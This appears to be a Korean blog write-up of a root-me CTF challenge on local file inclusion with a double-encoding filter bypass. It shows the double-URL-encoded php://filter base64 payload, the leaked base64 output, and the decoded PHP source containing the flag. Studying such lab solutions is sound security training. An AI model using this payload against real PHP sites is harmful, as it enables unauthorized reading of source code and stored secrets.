WebHacking

[root-me] Local File Inclusion - Double encoding

BIGFROG 2020. 1. 6. 17:53

LFI문제이다. 문제에서 더블 인코딩이라고 표현했으니 아마 서버쪽에서 한 번 디코딩을 하는 과정을 거치기 때문에, 한 번만 인코딩을 하면 필터에 걸릴 가능성이 높을 것이다.

 

일단 첫 화면에서 아무 섹션이나 누르면, page=contact 형태로 url에 인자가 들어간다.

 

먼저, 파일을 찾기 위해 간단하게 url에 ../로 입력을 줘본다.

 

Attack detected.

 

아무래도 '.'이나 '/'를 필터링한 듯 하다.

 

LFI문제니까 PHP Wrapper를 이용한 접근을 한다.

 

php://filter/convert.base64-encode/resource=home을 URL인코딩 두 번을 거쳐서 URL에  입력해준다.

 

그렇게 하면

 

PD9waHAgaW5jbHVkZSgiY29uZi5pbmMucGhwIik7ID8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5KLiBTbWl0aCAtIEhvbWU8L3RpdGxlPgogIDwvaGVhZD4KICA8Ym9keT4KICAgIDw/PSAkY29uZlsnZ2xvYmFsX3N0eWxlJ10gPz4KICAgIDxuYXY+CiAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWhvbWUiIGNsYXNzPSJhY3RpdmUiPkhvbWU8L2E+CiAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWN2Ij5DVjwvYT4KICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9Y29udGFjdCI+Q29udGFjdDwvYT4KICAgIDwvbmF2PgogICAgPGRpdiBpZD0ibWFpbiI+CiAgICAgIDw/PSAkY29uZlsnaG9tZSddID8+CiAgICA8L2Rpdj4KICA8L2JvZHk+CjwvaHRtbD4K

 

라는 인코딩된 문자들이 나오는데 이를 Base64로 디코딩해준다.

 

<?php include("conf.inc.php"); ?>

<!DOCTYPE html>

<html>

  <head>

    <meta charset="utf-8">

    <title>J. Smith - Home</title>

  </head>

  <body>

    <?= $conf['global_style'] ?>

    <nav>

      <a href="index.php?page=home" class="active">Home</a>

      <a href="index.php?page=cv">CV</a>

      <a href="index.php?page=contact">Contact</a>

    </nav>

    <div id="main">

      <?= $conf['home'] ?>

    </div>

  </body>

</html>

 

소스코드를 볼 수 있는데, 여기서 맨 윗줄의 conf.inc.php에 주목하면 될 것 같다.

 

몇 번의 삽질을 하면서, .inc.php는 자동으로 붙여진다는 것을 알게 되었다.

 

그래서 우리는 아까 사용하던 PHP Wrapper에서 conf까지만 붙여서 인코딩하면 된다.

 

php://filter/convert.base64-encode/resource=conf

 

 

PD9waHAKICAkY29uZiA9IFsKICAgICJmbGFnIiAgICAgICAgPT4gIlRoMXNJc1RoM0ZsNGchIiwKICAgICJob21lIiAgICAgICAgPT4gJzxoMj5XZWxjb21lPC9oMj4KICAgIDxkaXY+V2VsY29tZSBvbiBteSBwZXJzb25hbCB3ZWJzaXRlICE8L2Rpdj4nLAogICAgImN2IiAgICAgICAgICA9PiBbCiAgICAgICJnZW5kZXIiICAgICAgPT4gdHJ1ZSwKICAgICAgImJpcnRoIiAgICAgICA9PiA0NDE3NTk2MDAsCiAgICAgICJqb2JzIiAgICAgICAgPT4gWwogICAgICAgIFsKICAgICAgICAgICJ0aXRsZSIgICAgID0+ICJDb2ZmZWUgZGV2ZWxvcGVyIEBNZWdhdXBsb2FkIiwKICAgICAgICAgICJkYXRlIiAgICAgID0+ICIwMS8yMDEwIgogICAgICAgIF0sCiAgICAgICAgWwogICAgICAgICAgInRpdGxlIiAgICAgPT4gIkJlZCB0ZXN0ZXIgQFlvdXJNb20ncyIsCiAgICAgICAgICAiZGF0ZSIgICAgICA9PiAiMDMvMjAxMSIKICAgICAgICBdLAogICAgICAgIFsKICAgICAgICAgICJ0aXRsZSIgICAgID0+ICJCZWVyIGRyaW5rZXIgQE5lYXJlc3RCYXIiLAogICAgICAgICAgImRhdGUiICAgICAgPT4gIjEwLzIwMTQiCiAgICAgICAgXQogICAgICBdCiAgICBdLAogICAgImNvbnRhY3QiICAgICAgID0+IFsKICAgICAgImZpcnN0bmFtZSIgICAgID0+ICJKb2huIiwKICAgICAgImxhc3RuYW1lIiAgICAgID0+ICJTbWl0aCIsCiAgICAgICJwaG9uZSIgICAgICAgICA9PiAiMDEgMzMgNzEgMDAgMDEiLAogICAgICAibWFpbCIgICAgICAgICAgPT4gImpvaG4uc21pdGhAdGhlZ2FtZS5jb20iCiAgICBdLAogICAgImdsb2JhbF9zdHlsZSIgID0+ICc8c3R5bGUgbWVkaWE9InNjcmVlbiI+CiAgICAgIGJvZHl7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDIzMSwgMjMxLCAyMzEpOwogICAgICAgIGZvbnQtZmFtaWx5OiBUYWhvbWEsVmVyZGFuYSxTZWdvZSxzYW5zLXNlcmlmOwogICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgfQogICAgICBkaXYjbWFpbnsKICAgICAgICBwYWRkaW5nOiAyMHB4IDEwcHg7CiAgICAgIH0KICAgICAgbmF2ewogICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYigxMDEsIDEwMSwgMTAxKTsKICAgICAgICBmb250LXNpemU6IDA7CiAgICAgIH0KICAgICAgbmF2IGF7CiAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIHBhZGRpbmc6IDVweCAxMHB4OwogICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7CiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICBjb2xvcjogIzU1NTsKICAgICAgfQogICAgICBuYXYgYS5hY3RpdmV7CiAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDExOSwgMTM4LCAxNDQpOwogICAgICB9CiAgICAgIG5hdiBhOmhvdmVyewogICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgIGJhY2tncm91bmQ6IHJnYigxMTksIDEzOCwgMTQ0KTsKICAgICAgfQogICAgICBoMnsKICAgICAgICBtYXJnaW4tdG9wOjA7CiAgICAgIH0KICAgICAgPC9zdHlsZT4nCiAgXTsK

 

역시 인코딩된 문자들이 나온다. 이를 base64로 디코딩하면 소스코드를 볼 수 있고

flag를 얻을 수 있다.

 

<?php

  $conf = [

    "flag"        => "Th1sIsTh3Fl4g!",

    "home"        => '<h2>Welcome</h2>

    <div>Welcome on my personal website !</div>',

    "cv"          => [

      "gender"      => true,

      "birth"       => 441759600,

      "jobs"        => [

        [

          "title"     => "Coffee developer @Megaupload",

          "date"      => "01/2010"

        ],

        [

          "title"     => "Bed tester @YourMom's",

          "date"      => "03/2011"

        ],

        [

          "title"     => "Beer drinker @NearestBar",

          "date"      => "10/2014"

        ]

      ]

    ],

    "contact"       => [

      "firstname"     => "John",

      "lastname"      => "Smith",

      "phone"         => "01 33 71 00 01",

      "mail"          => "john.smith@thegame.com"

    ],

    "global_style"  => '<style media="screen">

      body{

        background: rgb(231, 231, 231);

        font-family: Tahoma,Verdana,Segoe,sans-serif;

        font-size: 14px;

      }

      div#main{

        padding: 20px 10px;

      }

      nav{

        border: 1px solid rgb(101, 101, 101);

        font-size: 0;

      }

      nav a{

        font-size: 14px;

        padding: 5px 10px;

        box-sizing: border-box;

        display: inline-block;

        text-decoration: none;

        color: #555;

      }

      nav a.active{

        color: #fff;

        background: rgb(119, 138, 144);

      }

      nav a:hover{

        color: #fff;

        background: rgb(119, 138, 144);

      }

      h2{

        margin-top:0;

      }

      </style>'

  ];

 

'WebHacking' 카테고리의 다른 글

[root-me] PHP preg_replace()  (0) 2020.01.06
[root-me] PHP Loose Comparison  (0) 2020.01.06
[root-me] Local File Inclusion  (0) 2020.01.06
[root-me] PHP register globals  (0) 2020.01.06
[root-me] File upload - MIME type  (0) 2020.01.06